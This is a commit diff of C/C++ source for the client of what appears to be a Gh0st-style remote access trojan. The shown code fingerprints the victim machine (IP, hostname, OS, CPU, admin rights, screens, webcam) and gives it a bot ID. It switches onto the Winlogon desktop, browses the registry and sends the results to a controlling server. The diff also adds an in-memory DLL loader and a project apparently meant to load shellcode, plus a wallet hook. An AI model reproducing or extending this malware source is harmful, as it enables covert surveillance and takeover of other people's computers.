LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
BOOL IsRunningAsAdmin();
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
LoginInfor.AddReserved(IsRunningAsAdmin());
char cpuInfo[32];
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
auto clientID = std::to_string(conn.clientID);
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
char reservedInfo[64];
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
auto list = ScreenCapture::GetAllMonitors();
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID
char fileSize[32];
double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0;
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小
return LoginInfor;
}
DWORD CPUClockMHz()
{
HKEY hKey;
DWORD dwCPUMHz;
DWORD dwReturn = sizeof(DWORD);
DWORD dwType = REG_DWORD;
RegOpenKey(HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
RegCloseKey(hKey);
return dwCPUMHz;
}
BOOL WebCamIsExist()
{
BOOL bOk = FALSE;
char szDeviceName[100], szVer[50];
for (int i = 0; i < 10 && !bOk; ++i) {
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
//系统的API函数
szVer, sizeof(szVer));
}
return bOk;
}

11
client/LoginServer.h Normal file
View File

@@ -0,0 +1,11 @@
#pragma once
#include "IOCPClient.h"
#include <Vfw.h>
#pragma comment(lib,"Vfw32.lib")
BOOL IsAuthKernel(std::string& str);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
DWORD CPUClockMHz();
BOOL WebCamIsExist();

267
client/Manager.cpp Normal file
View File

@@ -0,0 +1,267 @@
// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Manager.h"
#include "IOCPClient.h"
#include <process.h>
typedef struct {
unsigned(__stdcall* start_address)(void*);
void* arglist;
bool bInteractive; // 是否支持交互桌面
HANDLE hEventTransferArg;
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
HDESK SelectDesktop(TCHAR* name);
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
try {
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// 与桌面交互
if (arg.bInteractive)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
} catch (...) {
};
return nRet;
}
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
arg.arglist = (void*)lpParameter;
arg.bInteractive = bInteractive;
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
SAFE_CLOSE_HANDLE(arg.hEventTransferArg);
return hThread;
}
ULONG PseudoRand(ULONG* seed)
{
return (*seed = 1352459 * (*seed) + 2529004207);
}
std::string GetBotId()
{
#define _T(p) p
TCHAR botId[35] = { 0 };
TCHAR windowsDirectory[MAX_PATH] = {};
TCHAR volumeName[8] = { 0 };
DWORD seed = 0;
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
windowsDirectory[0] = _T('C');
volumeName[0] = windowsDirectory[0];
volumeName[1] = _T(':');
volumeName[2] = _T('\\');
volumeName[3] = _T('\0');
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
GUID guid = {};
guid.Data1 = PseudoRand(&seed);
guid.Data2 = (USHORT)PseudoRand(&seed);
guid.Data3 = (USHORT)PseudoRand(&seed);
for (int i = 0; i < 8; i++)
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
return botId;
#undef _T(p)
}
BOOL SelectHDESK(HDESK new_desktop)
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
DWORD dummy;
char new_name[256];
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
return FALSE;
}
// Switch the desktop
if (!SetThreadDesktop(new_desktop)) {
return FALSE;
}
// Switched successfully - destroy the old desktop
CloseDesktop(old_desktop);
return TRUE;
}
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
{
if (dwDesiredAccess == 0) {
dwDesiredAccess = DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS;
}
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
if (hWinSta) {
SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
}
}
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
}
}
return hInputDesktop;
}
// 返回新桌面句柄如果没有变化返回NULL
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
{
HDESK hInputDesk = OpenActiveDesktop(accessRights);
if (!hInputDesk) return NULL;
if (!currentDesk) {
return hInputDesk;
} else {
// 通过桌面名称判断是否真正变化
char oldName[256] = { 0 };
char newName[256] = { 0 };
DWORD len = 0;
GetUserObjectInformationA(currentDesk, UOI_NAME, oldName, sizeof(oldName), &len);
GetUserObjectInformationA(hInputDesk, UOI_NAME, newName, sizeof(newName), &len);
if (oldName[0] && newName[0] && strcmp(oldName, newName) != 0) {
Mprintf("Desktop changed from '%s' to '%s'\n", oldName, newName);
return hInputDesk;
}
}
CloseDesktop(hInputDesk);
return NULL;
}
// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换
// 返回值true表示桌面已切换false表示桌面未变化
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights)
{
HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights);
if (hInputDesk) {
if (currentDesk) {
CloseDesktop(currentDesk);
}
currentDesk = hInputDesk;
SetThreadDesktop(currentDesk);
return true;
}
return false;
}
// - SelectDesktop(char *)
// Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
HDESK SelectDesktop(TCHAR* name)
{
HDESK desktop = NULL;
if (name != NULL) {
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
} else {
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
if (desktop == NULL) {
return NULL;
}
// Switch to the new desktop
if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it!
CloseDesktop(desktop);
return NULL;
}
// We successfully switched desktops!
return desktop;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
{
m_bReady = TRUE;
m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
m_hEventDlgOpen = CreateEvent(NULL, TRUE, FALSE, NULL);
}
CManager::~CManager()
{
if (m_hEventDlgOpen != NULL) {
SAFE_CLOSE_HANDLE(m_hEventDlgOpen);
m_hEventDlgOpen = NULL;
}
}
BOOL CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try {
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
} catch (...) {
Mprintf("[ERROR] CManager::Send catch an error \n");
};
return nRet;
}
VOID CManager::WaitForDialogOpen()
{
WaitForSingleObject(m_hEventDlgOpen, 8000);
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
Sleep(150);
}
VOID CManager::NotifyDialogIsOpen()
{
SetEvent(m_hEventDlgOpen);
}

74
client/Manager.h Normal file
View File

@@ -0,0 +1,74 @@
// Manager.h: interface for the CManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "..\common\commands.h"
#include "IOCPClient.h"
#define ENABLE_VSCREEN 1
#define ENABLE_KEYBOARD 1
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights);
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights);
HDESK SelectDesktop(TCHAR* name);
std::string GetBotId();
typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
class CManager : public IOCPManager
{
public:
const State& g_bExit; // 1-被控端退出 2-主控端退出
BOOL m_bReady;
CManager(IOCPClient* ClientObject);
virtual ~CManager();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
IOCPClient* m_ClientObject;
HANDLE m_hEventDlgOpen;
VOID WaitForDialogOpen();
VOID NotifyDialogIsOpen();
BOOL IsConnected() const
{
return m_ClientObject->IsConnected();
}
virtual void Notify() { }
virtual void UpdateWallet(const std::string& wallet) { }
BOOL Send(LPBYTE lpData, UINT nSize);
BOOL SendData(LPBYTE lpData, UINT nSize)
{
return Send(lpData, nSize);
}
virtual void SetReady(BOOL ready = true)
{
m_bReady = ready;
}
virtual uint64_t GetClientID() const
{
return 0;
}
};
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)

1208
client/MemoryModule.c Normal file

File diff suppressed because it is too large Load Diff

168
client/MemoryModule.h Normal file
View File

@@ -0,0 +1,168 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.h
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <windows.h>
typedef void *HMEMORYMODULE;
typedef void *HMEMORYRSRC;
typedef void *HCUSTOMMODULE;
#ifdef __cplusplus
extern "C" {
#endif
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
/**
* Load EXE/DLL from memory location with the given size.
*
* All dependencies are resolved using default LoadLibrary/GetProcAddress
* calls through the Windows API.
*/
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
/**
* Load EXE/DLL from memory location with the given size using custom dependency
* resolvers.
*
* Dependencies will be resolved using passed callback methods.
*/
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
CustomAllocFunc,
CustomFreeFunc,
CustomLoadLibraryFunc,
CustomGetProcAddressFunc,
CustomFreeLibraryFunc,
void *);
/**
* Get address of exported method. Supports loading both by name and by
* ordinal value.
*/
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
/**
* Free previously loaded EXE/DLL.
*/
void MemoryFreeLibrary(HMEMORYMODULE);
/**
* Execute entry point (EXE only). The entry point can only be executed
* if the EXE has been loaded to the correct base address or it could
* be relocated (i.e. relocation information have not been stripped by
* the linker).
*
* Important: calling this function will not return, i.e. once the loaded
* EXE finished running, the process will terminate.
*
* Returns a negative value if the entry point could not be executed.
*/
int MemoryCallEntryPoint(HMEMORYMODULE);
/**
* Find the location of a resource with the specified type and name.
*/
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
/**
* Find the location of a resource with the specified type, name and language.
*/
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
/**
* Get the size of the resource in bytes.
*/
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Get a pointer to the contents of the resource.
*/
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
/**
* Load a string resource.
*/
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
/**
* Load a string resource with a given language.
*/
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
/**
* Default implementation of CustomAllocFunc that calls VirtualAlloc
* internally to allocate memory for a library
*
* This is the default as used by MemoryLoadLibrary.
*/
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
/**
* Default implementation of CustomFreeFunc that calls VirtualFree
* internally to free the memory used by a library
*
* This is the default as used by MemoryLoadLibrary.
*/
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
/**
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
* internally to load an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
/**
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
* internally to get the address of an exported function.
*
* This is the default as used by MemoryLoadLibrary.
*/
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
/**
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
* internally to release an additional libary.
*
* This is the default as used by MemoryLoadLibrary.
*/
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER

View File

@@ -0,0 +1,58 @@
// RegisterManager.cpp: implementation of the CRegisterManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "RegisterManager.h"
#include "Common.h"
#include <IOSTREAM>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
BYTE bToken=TOKEN_REGEDIT;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
}
CRegisterManager::~CRegisterManager()
{
Mprintf("CRegisterManager 析构\n");
}
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_REG_FIND: //查数据
if(ulLength>3) {
Find(szBuffer[1],(char*)(szBuffer+2));
} else {
Find(szBuffer[1],NULL); //Root数据
}
break;
default:
break;
}
}
VOID CRegisterManager::Find(char bToken, char *szPath)
{
RegisterOperation Opt(bToken);
if(szPath!=NULL) {
Opt.SetPath(szPath);
}
char *szBuffer= Opt.FindPath();
if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
}
szBuffer = Opt.FindKey();
if(szBuffer!=NULL) {
//目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
}

24
client/RegisterManager.h Normal file
View File

@@ -0,0 +1,24 @@
// RegisterManager.h: interface for the CRegisterManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "RegisterOperation.h"
class CRegisterManager : public CManager
{
public:
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CRegisterManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
VOID Find(char bToken, char *szPath);
};
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)

View File

@@ -0,0 +1,193 @@
// RegisterOperation.cpp: implementation of the RegisterOperation class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "RegisterOperation.h"
#include "Common.h"
#include <IOSTREAM>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
enum MYKEY {
MHKEY_CLASSES_ROOT,
MHKEY_CURRENT_USER,
MHKEY_LOCAL_MACHINE,
MHKEY_USERS,
MHKEY_CURRENT_CONFIG
};
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
RegisterOperation::RegisterOperation(char bToken)
{
switch(bToken) {
case MHKEY_CLASSES_ROOT:
MKEY=HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY=HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY=HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY=HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY=HKEY_CURRENT_CONFIG;
break;
default:
MKEY=HKEY_LOCAL_MACHINE;
break;
}
ZeroMemory(KeyPath,MAX_PATH);
}
RegisterOperation::~RegisterOperation()
{
}
char* RegisterOperation::FindPath()
{
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14
&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
return NULL;
}
//一点保护措施
KeySize=KeyMaxLen+1;
if(KeyCount>0&&KeySize>1) {
int Size=sizeof(REGMSG)+1;
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
if (szBuffer == NULL) {
return NULL;
}
ZeroMemory(szBuffer,DataSize);
szBuffer[0]=TOKEN_REG_PATH; //命令头
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
ZeroMemory(szTemp,KeySize);
DWORD i=KeySize; //21
RegEnumKeyEx(hKey,dwIndex,szTemp,&i,NULL,NULL,NULL,NULL);
strcpy(szBuffer+dwIndex*KeySize+Size,szTemp);
}
delete[] szTemp;
RegCloseKey(hKey);
}
}
return szBuffer;
}
void RegisterOperation::SetPath(char *szPath)
{
ZeroMemory(KeyPath,MAX_PATH);
strcpy(KeyPath,szPath);
}
char* RegisterOperation::FindKey()
{
char *szValueName; //键值名称
LPBYTE szValueData; //键值数据
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,
&KeyCount,&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
return NULL;
}
if(NameCount>0&&MaxDataLen>0) {
DataSize=MaxDataLen+1;
NameSize=NameMaxLen+100;
REGMSG msg;
msg.count=NameCount; //总个数
msg.size=NameSize; //名字大小
msg.valsize=DataSize; //数据大小
const int msgsize=sizeof(REGMSG);
// 头 标记 名字 数据
DWORD size=sizeof(REGMSG)+
sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10;
szBuffer = (char*)LocalAlloc(LPTR, size);
if (szBuffer==NULL) {
return NULL;
}
ZeroMemory(szBuffer,size);
szBuffer[0]=TOKEN_REG_KEY; //命令头
memcpy(szBuffer+1,(void*)&msg,msgsize); //数据头
szValueName=(char *)malloc(NameSize);
szValueData=(LPBYTE)malloc(DataSize);
if (szValueName==NULL||szValueData == NULL) {
return NULL;
}
char *szTemp=szBuffer+msgsize+1;
for(dwIndex=0; dwIndex<NameCount; dwIndex++) { //枚举键值
ZeroMemory(szValueName,NameSize);
ZeroMemory(szValueData,DataSize);
DataSize=MaxDataLen+1;
NameSize=NameMaxLen+100;
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) {
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD) {
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY) {
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ) {
szTemp[0]=MREG_EXPAND_SZ;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);
szTemp+=msg.size;
memcpy(szTemp,szValueData,msg.valsize);
szTemp+=msg.valsize;
}
free(szValueName);
free(szValueData);
}
}
return szBuffer;
}

View File

@@ -0,0 +1,24 @@
// RegisterOperation.h: interface for the RegisterOperation class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
#define AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class RegisterOperation
{
public:
RegisterOperation(char bToken);
virtual ~RegisterOperation();
char* FindPath();
HKEY MKEY;
char KeyPath[MAX_PATH];
void SetPath(char *szPath);
char* FindKey();
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)

BIN
client/Res/ghost.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
client/Res/msg.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

BIN
client/Res/msg.wav Normal file

Binary file not shown.

10329
client/SCLoader.cpp Normal file

File diff suppressed because it is too large Load Diff

182
client/SCLoader.vcxproj Normal file
View File

@@ -0,0 +1,182 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{f33fc38a-e7a0-47d1-9f35-6dfe49c7194a}</ProjectGuid>
<RootNamespace>SCLoader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Configuration)\loader</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<IntDir>$(Configuration)\loader</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IntDir>$(Platform)\$(Configuration)\loader</IntDir>
